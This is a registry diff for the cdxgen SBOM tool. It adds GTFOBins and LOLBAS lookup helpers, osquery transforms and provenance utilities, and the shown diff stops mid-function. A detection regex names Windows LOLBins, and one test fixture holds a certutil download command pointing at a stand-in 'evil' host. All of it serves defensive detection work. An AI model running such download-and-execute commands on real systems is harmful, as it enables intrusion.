@cyclonedx/cdxgen 12.2.1 → 12.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (170) hide show
  1. package/README.md +239 -90
  2. package/bin/audit.js +191 -0
  3. package/bin/cdxgen.js +513 -167
  4. package/bin/convert.js +99 -0
  5. package/bin/evinse.js +23 -0
  6. package/bin/repl.js +339 -8
  7. package/bin/sign.js +8 -0
  8. package/bin/validate.js +8 -0
  9. package/bin/verify.js +8 -0
  10. package/data/container-knowledge-index.json +125 -0
  11. package/data/gtfobins-index.json +6296 -0
  12. package/data/lolbas-index.json +150 -0
  13. package/data/queries-darwin.json +63 -3
  14. package/data/queries-win.json +45 -3
  15. package/data/queries.json +74 -2
  16. package/data/rules/chrome-extensions.yaml +240 -0
  17. package/data/rules/ci-permissions.yaml +478 -18
  18. package/data/rules/container-risk.yaml +270 -0
  19. package/data/rules/obom-runtime.yaml +891 -0
  20. package/data/rules/package-integrity.yaml +49 -0
  21. package/data/spdx-export.schema.json +6794 -0
  22. package/data/spdx-model-v3.0.1.jsonld +15999 -0
  23. package/lib/audit/index.js +1924 -0
  24. package/lib/audit/index.poku.js +1488 -0
  25. package/lib/audit/progress.js +137 -0
  26. package/lib/audit/progress.poku.js +188 -0
  27. package/lib/audit/reporters.js +618 -0
  28. package/lib/audit/scoring.js +310 -0
  29. package/lib/audit/scoring.poku.js +341 -0
  30. package/lib/audit/targets.js +260 -0
  31. package/lib/audit/targets.poku.js +331 -0
  32. package/lib/cli/index.js +154 -11
  33. package/lib/cli/index.poku.js +251 -0
  34. package/lib/helpers/analyzer.js +446 -2
  35. package/lib/helpers/analyzer.poku.js +72 -1
  36. package/lib/helpers/annotationFormatter.js +49 -0
  37. package/lib/helpers/annotationFormatter.poku.js +44 -0
  38. package/lib/helpers/bomUtils.js +36 -0
  39. package/lib/helpers/bomUtils.poku.js +51 -0
  40. package/lib/helpers/caxa.js +2 -2
  41. package/lib/helpers/chromextutils.js +1153 -0
  42. package/lib/helpers/chromextutils.poku.js +493 -0
  43. package/lib/helpers/ciParsers/githubActions.js +1632 -45
  44. package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
  45. package/lib/helpers/containerRisk.js +186 -0
  46. package/lib/helpers/containerRisk.poku.js +52 -0
  47. package/lib/helpers/display.js +241 -59
  48. package/lib/helpers/display.poku.js +162 -2
  49. package/lib/helpers/exportUtils.js +123 -0
  50. package/lib/helpers/exportUtils.poku.js +60 -0
  51. package/lib/helpers/formulationParsers.js +69 -0
  52. package/lib/helpers/formulationParsers.poku.js +44 -0
  53. package/lib/helpers/gtfobins.js +189 -0
  54. package/lib/helpers/gtfobins.poku.js +49 -0
  55. package/lib/helpers/lolbas.js +267 -0
  56. package/lib/helpers/lolbas.poku.js +39 -0
  57. package/lib/helpers/osqueryTransform.js +84 -0
  58. package/lib/helpers/osqueryTransform.poku.js +49 -0
  59. package/lib/helpers/provenanceUtils.js +193 -0
  60. package/lib/helpers/provenanceUtils.poku.js +145 -0
  61. package/lib/helpers/pylockutils.js +281 -0
  62. package/lib/helpers/pylockutils.poku.js +48 -0
  63. package/lib/helpers/registryProvenance.js +793 -0
  64. package/lib/helpers/registryProvenance.poku.js +452 -0
  65. package/lib/helpers/source.js +1267 -0
  66. package/lib/helpers/source.poku.js +771 -0
  67. package/lib/helpers/spdxUtils.js +97 -0
  68. package/lib/helpers/spdxUtils.poku.js +70 -0
  69. package/lib/helpers/unicodeScan.js +147 -0
  70. package/lib/helpers/unicodeScan.poku.js +45 -0
  71. package/lib/helpers/utils.js +700 -128
  72. package/lib/helpers/utils.poku.js +877 -80
  73. package/lib/managers/binary.js +29 -5
  74. package/lib/managers/docker.js +179 -52
  75. package/lib/managers/docker.poku.js +327 -28
  76. package/lib/managers/oci.js +107 -23
  77. package/lib/managers/oci.poku.js +132 -0
  78. package/lib/server/openapi.yaml +17 -0
  79. package/lib/server/server.js +225 -336
  80. package/lib/server/server.poku.js +16 -10
  81. package/lib/stages/postgen/annotator.js +7 -0
  82. package/lib/stages/postgen/annotator.poku.js +40 -0
  83. package/lib/stages/postgen/auditBom.js +19 -3
  84. package/lib/stages/postgen/auditBom.poku.js +1729 -67
  85. package/lib/stages/postgen/postgen.js +40 -0
  86. package/lib/stages/postgen/postgen.poku.js +47 -0
  87. package/lib/stages/postgen/ruleEngine.js +80 -2
  88. package/lib/stages/postgen/spdxConverter.js +796 -0
  89. package/lib/stages/postgen/spdxConverter.poku.js +341 -0
  90. package/lib/validator/bomValidator.js +232 -0
  91. package/lib/validator/bomValidator.poku.js +70 -0
  92. package/lib/validator/complianceRules.js +70 -7
  93. package/lib/validator/complianceRules.poku.js +30 -0
  94. package/lib/validator/reporters/annotations.js +2 -2
  95. package/lib/validator/reporters/console.js +11 -0
  96. package/lib/validator/reporters.poku.js +13 -0
  97. package/package.json +10 -7
  98. package/types/bin/audit.d.ts +3 -0
  99. package/types/bin/audit.d.ts.map +1 -0
  100. package/types/bin/convert.d.ts +3 -0
  101. package/types/bin/convert.d.ts.map +1 -0
  102. package/types/bin/repl.d.ts.map +1 -1
  103. package/types/lib/audit/index.d.ts +115 -0
  104. package/types/lib/audit/index.d.ts.map +1 -0
  105. package/types/lib/audit/progress.d.ts +27 -0
  106. package/types/lib/audit/progress.d.ts.map +1 -0
  107. package/types/lib/audit/reporters.d.ts +35 -0
  108. package/types/lib/audit/reporters.d.ts.map +1 -0
  109. package/types/lib/audit/scoring.d.ts +35 -0
  110. package/types/lib/audit/scoring.d.ts.map +1 -0
  111. package/types/lib/audit/targets.d.ts +63 -0
  112. package/types/lib/audit/targets.d.ts.map +1 -0
  113. package/types/lib/cli/index.d.ts +8 -0
  114. package/types/lib/cli/index.d.ts.map +1 -1
  115. package/types/lib/helpers/analyzer.d.ts +13 -0
  116. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  117. package/types/lib/helpers/annotationFormatter.d.ts +23 -0
  118. package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
  119. package/types/lib/helpers/bomUtils.d.ts +5 -0
  120. package/types/lib/helpers/bomUtils.d.ts.map +1 -0
  121. package/types/lib/helpers/chromextutils.d.ts +97 -0
  122. package/types/lib/helpers/chromextutils.d.ts.map +1 -0
  123. package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
  124. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  125. package/types/lib/helpers/containerRisk.d.ts +17 -0
  126. package/types/lib/helpers/containerRisk.d.ts.map +1 -0
  127. package/types/lib/helpers/display.d.ts +4 -1
  128. package/types/lib/helpers/display.d.ts.map +1 -1
  129. package/types/lib/helpers/exportUtils.d.ts +40 -0
  130. package/types/lib/helpers/exportUtils.d.ts.map +1 -0
  131. package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
  132. package/types/lib/helpers/gtfobins.d.ts +17 -0
  133. package/types/lib/helpers/gtfobins.d.ts.map +1 -0
  134. package/types/lib/helpers/lolbas.d.ts +16 -0
  135. package/types/lib/helpers/lolbas.d.ts.map +1 -0
  136. package/types/lib/helpers/osqueryTransform.d.ts +7 -0
  137. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
  138. package/types/lib/helpers/provenanceUtils.d.ts +90 -0
  139. package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
  140. package/types/lib/helpers/pylockutils.d.ts +51 -0
  141. package/types/lib/helpers/pylockutils.d.ts.map +1 -0
  142. package/types/lib/helpers/registryProvenance.d.ts +17 -0
  143. package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
  144. package/types/lib/helpers/source.d.ts +141 -0
  145. package/types/lib/helpers/source.d.ts.map +1 -0
  146. package/types/lib/helpers/spdxUtils.d.ts +2 -0
  147. package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
  148. package/types/lib/helpers/unicodeScan.d.ts +46 -0
  149. package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
  150. package/types/lib/helpers/utils.d.ts +29 -11
  151. package/types/lib/helpers/utils.d.ts.map +1 -1
  152. package/types/lib/managers/binary.d.ts.map +1 -1
  153. package/types/lib/managers/docker.d.ts.map +1 -1
  154. package/types/lib/managers/oci.d.ts.map +1 -1
  155. package/types/lib/server/server.d.ts +0 -36
  156. package/types/lib/server/server.d.ts.map +1 -1
  157. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  158. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  159. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  160. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  161. package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
  162. package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
  163. package/types/lib/validator/bomValidator.d.ts +1 -0
  164. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  165. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  166. package/types/lib/validator/reporters/console.d.ts.map +1 -1
  167. package/types/bin/dependencies.d.ts +0 -3
  168. package/types/bin/dependencies.d.ts.map +0 -1
  169. package/types/bin/licenses.d.ts +0 -3
  170. package/types/bin/licenses.d.ts.map +0 -1
@@ -0,0 +1,49 @@
1
+ import { strict as assert } from "node:assert";
2
+
3
+ import { describe, it } from "poku";
4
+
5
+ import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
6
+
7
+ describe("gtfobins helpers", () => {
8
+ it("returns metadata for exact GTFOBins matches", () => {
9
+ const metadata = getGtfoBinsMetadata("bash");
10
+ assert.ok(metadata);
11
+ assert.strictEqual(metadata.canonicalName, "bash");
12
+ assert.ok(metadata.functions.includes("shell"));
13
+ assert.ok(metadata.contexts.includes("suid"));
14
+ assert.ok(metadata.riskTags.includes("privilege-escalation"));
15
+ assert.ok(metadata.riskTags.includes("lateral-movement"));
16
+ });
17
+
18
+ it("resolves versioned aliases conservatively", () => {
19
+ const metadata = getGtfoBinsMetadata("python3.12");
20
+ assert.ok(metadata);
21
+ assert.strictEqual(metadata.canonicalName, "python");
22
+ assert.strictEqual(metadata.matchSource, "alias");
23
+ assert.ok(metadata.functions.includes("shell"));
24
+ });
25
+
26
+ it("resolves symlink targets when the basename is not indexed", () => {
27
+ const metadata = getGtfoBinsMetadata("sh", "busybox");
28
+ assert.ok(metadata);
29
+ assert.strictEqual(metadata.canonicalName, "busybox");
30
+ assert.strictEqual(metadata.matchSource, "symlink");
31
+ assert.ok(metadata.riskTags.includes("lateral-movement"));
32
+ });
33
+
34
+ it("emits stable CycloneDX properties for matched binaries", () => {
35
+ const properties = createGtfoBinsProperties("docker");
36
+ const propertyMap = Object.fromEntries(
37
+ properties.map((property) => [property.name, property.value]),
38
+ );
39
+ assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
40
+ assert.strictEqual(propertyMap["cdx:gtfobins:name"], "docker");
41
+ assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
42
+ assert.ok(
43
+ propertyMap["cdx:gtfobins:riskTags"].includes("container-escape"),
44
+ );
45
+ assert.ok(
46
+ propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
47
+ );
48
+ });
49
+ });
@@ -0,0 +1,267 @@
1
+ import { readFileSync } from "node:fs";
2
+ import path, { basename } from "node:path";
3
+ import { fileURLToPath } from "node:url";
4
+
5
+ const LOLBAS_INDEX_FILE = fileURLToPath(
6
+ new URL("../../data/lolbas-index.json", import.meta.url),
7
+ );
8
+ const LOLBAS_REFERENCE_PREFIX =
9
+ "https://lolbas-project.github.io/lolbas/Binaries/";
10
+ const DIRECT_ALIASES = new Map([
11
+ ["bitsadmin", "bitsadmin.exe"],
12
+ ["certutil", "certutil.exe"],
13
+ ["cmd", "cmd.exe"],
14
+ ["cmdkey", "cmdkey.exe"],
15
+ ["cmstp", "cmstp.exe"],
16
+ ["cscript", "cscript.exe"],
17
+ ["ftp", "ftp.exe"],
18
+ ["installutil", "installutil.exe"],
19
+ ["msbuild", "msbuild.exe"],
20
+ ["mshta", "mshta.exe"],
21
+ ["msiexec", "msiexec.exe"],
22
+ ["odbcconf", "odbcconf.exe"],
23
+ ["powershell", "powershell.exe"],
24
+ ["pwsh", "pwsh.exe"],
25
+ ["regsvr32", "regsvr32.exe"],
26
+ ["rundll32", "rundll32.exe"],
27
+ ["wmic", "wmic.exe"],
28
+ ["wscript", "wscript.exe"],
29
+ ]);
30
+ const MATCH_FIELDS = [
31
+ "action",
32
+ "arguments",
33
+ "cmdline",
34
+ "command",
35
+ "command_line",
36
+ "command_line_template",
37
+ "description",
38
+ "display_name",
39
+ "executable",
40
+ "name",
41
+ "path",
42
+ "program",
43
+ "source",
44
+ ];
45
+ const STANDALONE_COMMAND_PATTERN =
46
+ /\b(bitsadmin|certutil|cmd|cmdkey|cmstp|cscript|ftp|installutil|msbuild|mshta|msiexec|odbcconf|powershell|pwsh|regsvr32|rundll32|wmic|wscript)\b/gi;
47
+ const WINDOWS_EXECUTABLE_PATTERN =
48
+ /(?:[a-z]:\\[^\s"'`,;|]+|\\\\[^\s"'`,;|]+|[a-z0-9._-]+)\.(?:exe|cmd|bat|dll|hta|js|jse|ps1|vbs|vbe|wsf|wsh)\b/gi;
49
+
50
+ const LOLBAS_INDEX = loadLolbasIndex();
51
+
52
+ function loadLolbasIndex() {
53
+ try {
54
+ return JSON.parse(readFileSync(LOLBAS_INDEX_FILE, "utf8"));
55
+ } catch {
56
+ return { entries: {}, source: "", sourceRef: "" };
57
+ }
58
+ }
59
+
60
+ function normalizeCandidate(candidate) {
61
+ if (!candidate || typeof candidate !== "string") {
62
+ return undefined;
63
+ }
64
+ const trimmed = candidate
65
+ .trim()
66
+ .replace(/^["']|["']$/g, "")
67
+ .replace(/\\/g, "/");
68
+ if (!trimmed) {
69
+ return undefined;
70
+ }
71
+ return basename(trimmed).toLowerCase();
72
+ }
73
+
74
+ function uniqueSortedStrings(values) {
75
+ return Array.from(
76
+ new Set(
77
+ values.filter(
78
+ (value) => typeof value === "string" && value.trim().length,
79
+ ),
80
+ ),
81
+ ).sort();
82
+ }
83
+
84
+ function resolveLolbasCandidate(candidate) {
85
+ const normalized = normalizeCandidate(candidate);
86
+ if (!normalized) {
87
+ return undefined;
88
+ }
89
+ if (LOLBAS_INDEX.entries?.[normalized]) {
90
+ return normalized;
91
+ }
92
+ const alias = DIRECT_ALIASES.get(normalized);
93
+ if (alias && LOLBAS_INDEX.entries?.[alias]) {
94
+ return alias;
95
+ }
96
+ return undefined;
97
+ }
98
+
99
+ function deriveRiskTags(entry) {
100
+ const riskTags = new Set(entry?.riskTags || []);
101
+ const functions = new Set(entry?.functions || []);
102
+ const contexts = new Set(entry?.contexts || []);
103
+ if (
104
+ functions.has("proxy-execution") ||
105
+ functions.has("library-load") ||
106
+ functions.has("script-execution")
107
+ ) {
108
+ riskTags.add("proxy-execution");
109
+ }
110
+ if (
111
+ functions.has("download") ||
112
+ functions.has("upload") ||
113
+ functions.has("credential-access")
114
+ ) {
115
+ riskTags.add("high-signal");
116
+ }
117
+ if (contexts.has("uac-bypass")) {
118
+ riskTags.add("uac-bypass");
119
+ }
120
+ if (functions.has("download") || functions.has("upload")) {
121
+ riskTags.add("network-transfer");
122
+ }
123
+ return Array.from(riskTags).sort();
124
+ }
125
+
126
+ function collectValueCandidates(value) {
127
+ if (!value || typeof value !== "string") {
128
+ return [];
129
+ }
130
+ const candidates = new Set();
131
+ for (const match of value.matchAll(WINDOWS_EXECUTABLE_PATTERN)) {
132
+ candidates.add(match[0]);
133
+ }
134
+ for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
135
+ candidates.add(match[1]);
136
+ }
137
+ return Array.from(candidates);
138
+ }
139
+
140
+ /**
141
+ * Resolve LOLBAS metadata for a binary or script name.
142
+ *
143
+ * @param {string} candidate Binary or script path/name
144
+ * @returns {object|undefined} Matched LOLBAS metadata
145
+ */
146
+ export function getLolbasMetadata(candidate) {
147
+ const canonicalName = resolveLolbasCandidate(candidate);
148
+ if (!canonicalName) {
149
+ return undefined;
150
+ }
151
+ const entry = LOLBAS_INDEX.entries[canonicalName];
152
+ return {
153
+ attackTactics: uniqueSortedStrings(entry.attackTactics || []),
154
+ attackTechniques: uniqueSortedStrings(entry.attackTechniques || []),
155
+ canonicalName,
156
+ contexts: uniqueSortedStrings(entry.contexts || []),
157
+ functions: uniqueSortedStrings(entry.functions || []),
158
+ reference:
159
+ entry.reference ||
160
+ `${LOLBAS_REFERENCE_PREFIX}${encodeURIComponent(path.parse(canonicalName).name)}/`,
161
+ riskTags: deriveRiskTags(entry),
162
+ source: LOLBAS_INDEX.source,
163
+ sourceRef: LOLBAS_INDEX.sourceRef,
164
+ };
165
+ }
166
+
167
+ /**
168
+ * Resolve LOLBAS properties for an osquery row.
169
+ *
170
+ * @param {string} queryCategory Osquery query category
171
+ * @param {object} row Osquery row
172
+ * @returns {Array<object>} CycloneDX custom properties
173
+ */
174
+ export function createLolbasProperties(queryCategory, row) {
175
+ const matches = new Map();
176
+ for (const field of MATCH_FIELDS) {
177
+ const fieldValue = row?.[field];
178
+ if (!fieldValue) {
179
+ continue;
180
+ }
181
+ for (const candidate of collectValueCandidates(String(fieldValue))) {
182
+ const metadata = getLolbasMetadata(candidate);
183
+ if (!metadata) {
184
+ continue;
185
+ }
186
+ const existing = matches.get(metadata.canonicalName) || {
187
+ fields: new Set(),
188
+ metadata,
189
+ };
190
+ existing.fields.add(field);
191
+ matches.set(metadata.canonicalName, existing);
192
+ }
193
+ }
194
+ if (!matches.size) {
195
+ return [];
196
+ }
197
+ const attackTactics = uniqueSortedStrings(
198
+ Array.from(matches.values()).flatMap(
199
+ (match) => match.metadata.attackTactics,
200
+ ),
201
+ );
202
+ const attackTechniques = uniqueSortedStrings(
203
+ Array.from(matches.values()).flatMap(
204
+ (match) => match.metadata.attackTechniques,
205
+ ),
206
+ );
207
+ const contexts = uniqueSortedStrings(
208
+ Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
209
+ );
210
+ const functions = uniqueSortedStrings(
211
+ Array.from(matches.values()).flatMap((match) => match.metadata.functions),
212
+ );
213
+ const references = uniqueSortedStrings(
214
+ Array.from(matches.values()).map((match) => match.metadata.reference),
215
+ );
216
+ const riskTags = uniqueSortedStrings(
217
+ Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
218
+ );
219
+ const matchFields = uniqueSortedStrings(
220
+ Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
221
+ );
222
+ const names = uniqueSortedStrings(Array.from(matches.keys()));
223
+ const properties = [
224
+ { name: "cdx:lolbas:matched", value: "true" },
225
+ { name: "cdx:lolbas:names", value: names.join(",") },
226
+ { name: "cdx:lolbas:matchFields", value: matchFields.join(",") },
227
+ { name: "cdx:lolbas:queryCategory", value: queryCategory },
228
+ { name: "cdx:lolbas:sourceRef", value: LOLBAS_INDEX.sourceRef || "" },
229
+ ];
230
+ if (functions.length) {
231
+ properties.push({
232
+ name: "cdx:lolbas:functions",
233
+ value: functions.join(","),
234
+ });
235
+ }
236
+ if (contexts.length) {
237
+ properties.push({
238
+ name: "cdx:lolbas:contexts",
239
+ value: contexts.join(","),
240
+ });
241
+ }
242
+ if (riskTags.length) {
243
+ properties.push({
244
+ name: "cdx:lolbas:riskTags",
245
+ value: riskTags.join(","),
246
+ });
247
+ }
248
+ if (attackTactics.length) {
249
+ properties.push({
250
+ name: "cdx:lolbas:attackTactics",
251
+ value: attackTactics.join(","),
252
+ });
253
+ }
254
+ if (attackTechniques.length) {
255
+ properties.push({
256
+ name: "cdx:lolbas:attackTechniques",
257
+ value: attackTechniques.join(","),
258
+ });
259
+ }
260
+ if (references.length) {
261
+ properties.push({
262
+ name: "cdx:lolbas:references",
263
+ value: references.join(","),
264
+ });
265
+ }
266
+ return properties;
267
+ }
@@ -0,0 +1,39 @@
1
+ import { strict as assert } from "node:assert";
2
+
3
+ import { describe, it } from "poku";
4
+
5
+ import { createLolbasProperties, getLolbasMetadata } from "./lolbas.js";
6
+
7
+ describe("lolbas helpers", () => {
8
+ it("resolves extensionless aliases to canonical LOLBAS executables", () => {
9
+ const metadata = getLolbasMetadata("powershell");
10
+ assert.ok(metadata);
11
+ assert.strictEqual(metadata.canonicalName, "powershell.exe");
12
+ assert.ok(metadata.functions.includes("script-execution"));
13
+ assert.ok(metadata.attackTechniques.includes("T1059.001"));
14
+ });
15
+
16
+ it("resolves fully qualified Windows paths", () => {
17
+ const metadata = getLolbasMetadata("C:\\Windows\\System32\\regsvr32.exe");
18
+ assert.ok(metadata);
19
+ assert.strictEqual(metadata.canonicalName, "regsvr32.exe");
20
+ assert.ok(metadata.riskTags.includes("proxy-execution"));
21
+ });
22
+
23
+ it("creates aggregated properties for osquery rows with LOLBAS matches", () => {
24
+ const properties = createLolbasProperties("windows_run_keys", {
25
+ description:
26
+ "powershell -enc AAAA; certutil.exe -urlcache -f https://evil/p.ps1 p.ps1",
27
+ key: "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
28
+ });
29
+ const propertyMap = Object.fromEntries(
30
+ properties.map((property) => [property.name, property.value]),
31
+ );
32
+ assert.strictEqual(propertyMap["cdx:lolbas:matched"], "true");
33
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("powershell.exe"));
34
+ assert.ok(propertyMap["cdx:lolbas:names"].includes("certutil.exe"));
35
+ assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
36
+ assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
37
+ assert.ok(propertyMap["cdx:lolbas:matchFields"].includes("description"));
38
+ });
39
+ });
@@ -0,0 +1,84 @@
1
+ import { PackageURL } from "packageurl-js";
2
+
3
+ export function deriveOsQueryVersion(res) {
4
+ return (
5
+ res.version ||
6
+ res.hotfix_id ||
7
+ res.hardware_version ||
8
+ res.port ||
9
+ res.pid ||
10
+ res.subject_key_id ||
11
+ res.interface ||
12
+ res.instance_id
13
+ );
14
+ }
15
+
16
+ export function deriveOsQueryName(res, singleResult, queryName) {
17
+ let name =
18
+ res.name ||
19
+ res.device_id ||
20
+ res.hotfix_id ||
21
+ res.uuid ||
22
+ res.serial ||
23
+ res.pid ||
24
+ res.address ||
25
+ res.ami_id ||
26
+ res.interface ||
27
+ res.client_app_id;
28
+ if (!name && singleResult && queryName) {
29
+ name = queryName;
30
+ }
31
+ return name;
32
+ }
33
+
34
+ export function deriveOsQueryPublisher(res) {
35
+ const publisher =
36
+ res.publisher ||
37
+ res.maintainer ||
38
+ res.creator ||
39
+ res.manufacturer ||
40
+ res.provider ||
41
+ "";
42
+ return publisher === "null" ? "" : publisher;
43
+ }
44
+
45
+ export function deriveOsQueryDescription(res) {
46
+ return (
47
+ res.description ||
48
+ res.summary ||
49
+ res.arguments ||
50
+ res.device ||
51
+ res.codename ||
52
+ res.section ||
53
+ res.status ||
54
+ res.identifier ||
55
+ res.components ||
56
+ ""
57
+ );
58
+ }
59
+
60
+ export function sanitizeOsQueryIdentity(value) {
61
+ return String(value || "")
62
+ .replace(/ /g, "+")
63
+ .replace(/[:%]/g, "-")
64
+ .replace(/^[@{]/g, "")
65
+ .replace(/[}]$/g, "");
66
+ }
67
+
68
+ export function createOsQueryPurl(
69
+ purlType,
70
+ group,
71
+ name,
72
+ version,
73
+ qualifiers,
74
+ subpath,
75
+ ) {
76
+ return new PackageURL(
77
+ purlType || "swid",
78
+ group,
79
+ name,
80
+ version || "",
81
+ qualifiers,
82
+ subpath,
83
+ ).toString();
84
+ }
@@ -0,0 +1,49 @@
1
+ import { assert, describe, it } from "poku";
2
+
3
+ import {
4
+ createOsQueryPurl,
5
+ deriveOsQueryDescription,
6
+ deriveOsQueryName,
7
+ deriveOsQueryPublisher,
8
+ deriveOsQueryVersion,
9
+ sanitizeOsQueryIdentity,
10
+ } from "./osqueryTransform.js";
11
+
12
+ describe("osqueryTransform helpers", () => {
13
+ it("derives version, name, publisher, and description from osquery rows", () => {
14
+ const row = {
15
+ pid: "1024",
16
+ provider: "null",
17
+ summary: "sample description",
18
+ };
19
+ assert.strictEqual(deriveOsQueryVersion(row), "1024");
20
+ assert.strictEqual(deriveOsQueryName(row, false), "1024");
21
+ assert.strictEqual(deriveOsQueryPublisher(row), "");
22
+ assert.strictEqual(deriveOsQueryDescription(row), "sample description");
23
+ });
24
+
25
+ it("falls back to query name for single-row synthetic entries", () => {
26
+ const row = {};
27
+ assert.strictEqual(deriveOsQueryName(row, true, "os-image"), "os-image");
28
+ });
29
+
30
+ it("sanitizes osquery identity strings used in purl fields", () => {
31
+ assert.strictEqual(
32
+ sanitizeOsQueryIdentity("{My App:%Name}"),
33
+ "My+App--Name",
34
+ );
35
+ });
36
+
37
+ it("creates valid purl strings for osquery-derived components", () => {
38
+ const purl = createOsQueryPurl(
39
+ "swid",
40
+ "microsoft",
41
+ "windows+11",
42
+ "22H2",
43
+ undefined,
44
+ "windows",
45
+ );
46
+ assert.ok(purl.startsWith("pkg:swid/microsoft/"));
47
+ assert.ok(purl.includes("@22H2"));
48
+ });
49
+ });
@@ -0,0 +1,193 @@
1
+ const NPM_PROVENANCE_URL_PROPERTY = "cdx:npm:provenanceUrl";
2
+ const NPM_TRUSTED_PUBLISHING_PROPERTY = "cdx:npm:trustedPublishing";
3
+ const PYPI_PROVENANCE_URL_PROPERTY = "cdx:pypi:provenanceUrl";
4
+ const PYPI_TRUSTED_PUBLISHING_PROPERTY = "cdx:pypi:trustedPublishing";
5
+
6
+ export const NPM_PROVENANCE_EVIDENCE_PROPERTIES = [
7
+ NPM_PROVENANCE_URL_PROPERTY,
8
+ "cdx:npm:provenanceDigest",
9
+ "cdx:npm:provenanceKeyId",
10
+ "cdx:npm:provenancePredicateType",
11
+ "cdx:npm:provenanceSignature",
12
+ "cdx:npm:artifactIntegrity",
13
+ "cdx:npm:artifactShasum",
14
+ ];
15
+ export const PYPI_PROVENANCE_EVIDENCE_PROPERTIES = [
16
+ PYPI_PROVENANCE_URL_PROPERTY,
17
+ "cdx:pypi:provenanceDigest",
18
+ "cdx:pypi:provenanceKeyId",
19
+ "cdx:pypi:provenancePredicateType",
20
+ "cdx:pypi:provenanceSignature",
21
+ "cdx:pypi:artifactDigestSha256",
22
+ "cdx:pypi:artifactDigestBlake2b256",
23
+ "cdx:pypi:artifactDigestMd5",
24
+ ];
25
+ export const REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES = [
26
+ ...NPM_PROVENANCE_EVIDENCE_PROPERTIES,
27
+ ...PYPI_PROVENANCE_EVIDENCE_PROPERTIES,
28
+ ];
29
+ export const TRUSTED_PUBLISHING_PROPERTIES = [
30
+ NPM_TRUSTED_PUBLISHING_PROPERTY,
31
+ PYPI_TRUSTED_PUBLISHING_PROPERTY,
32
+ ];
33
+
34
+ export const REGISTRY_PROVENANCE_ICON = "🛡";
35
+
36
+ /**
37
+ * Return a component property value by name.
38
+ *
39
+ * @param {object} component CycloneDX component
40
+ * @param {string} propertyName Property name to look up
41
+ * @returns {string | undefined} Property value if present
42
+ */
43
+ export function getComponentPropertyValue(component, propertyName) {
44
+ return component?.properties?.find((prop) => prop?.name === propertyName)
45
+ ?.value;
46
+ }
47
+
48
+ /**
49
+ * Return a property value by name from a raw properties array.
50
+ *
51
+ * @param {object[]} properties CycloneDX properties array
52
+ * @param {string} propertyName Property name to look up
53
+ * @returns {string | undefined} Property value if present
54
+ */
55
+ export function getPropertyValue(properties, propertyName) {
56
+ return properties?.find((prop) => prop?.name === propertyName)?.value;
57
+ }
58
+
59
+ /**
60
+ * Check whether any of the supplied properties exist and carry a value.
61
+ *
62
+ * @param {object[]} properties CycloneDX properties array
63
+ * @param {string[]} propertyNames Property names to test
64
+ * @returns {boolean} True when any named property has a non-empty value
65
+ */
66
+ export function hasAnyPropertyValue(properties, propertyNames) {
67
+ return propertyNames.some((propertyName) =>
68
+ Boolean(getPropertyValue(properties, propertyName)),
69
+ );
70
+ }
71
+
72
+ /**
73
+ * Determine whether a raw properties array includes trusted publishing metadata.
74
+ *
75
+ * @param {object[]} properties CycloneDX properties array
76
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
77
+ */
78
+ export function hasTrustedPublishingProperties(properties) {
79
+ return TRUSTED_PUBLISHING_PROPERTIES.some(
80
+ (propertyName) => getPropertyValue(properties, propertyName) === "true",
81
+ );
82
+ }
83
+
84
+ /**
85
+ * Determine whether a raw properties array includes direct registry provenance evidence.
86
+ *
87
+ * @param {object[]} properties CycloneDX properties array
88
+ * @returns {boolean} True when direct provenance evidence is present
89
+ */
90
+ export function hasRegistryProvenanceEvidenceProperties(properties) {
91
+ return hasAnyPropertyValue(
92
+ properties,
93
+ REGISTRY_PROVENANCE_EVIDENCE_PROPERTIES,
94
+ );
95
+ }
96
+
97
+ /**
98
+ * Determine whether a component includes trusted publishing metadata.
99
+ *
100
+ * @param {object} component CycloneDX component
101
+ * @returns {boolean} True when trusted publishing is recorded for npm or PyPI
102
+ */
103
+ export function hasComponentTrustedPublishing(component) {
104
+ return hasTrustedPublishingProperties(component?.properties);
105
+ }
106
+
107
+ /**
108
+ * Determine whether a component includes direct registry provenance evidence.
109
+ *
110
+ * @param {object} component CycloneDX component
111
+ * @returns {boolean} True when provenance URL, digests, signatures, or key IDs exist
112
+ */
113
+ export function hasComponentRegistryProvenanceEvidence(component) {
114
+ return hasRegistryProvenanceEvidenceProperties(component?.properties);
115
+ }
116
+
117
+ /**
118
+ * Determine whether a component includes registry provenance metadata.
119
+ *
120
+ * @param {object} component CycloneDX component
121
+ * @returns {boolean} True when provenance or trusted publishing metadata exists
122
+ */
123
+ export function hasComponentRegistryProvenance(component) {
124
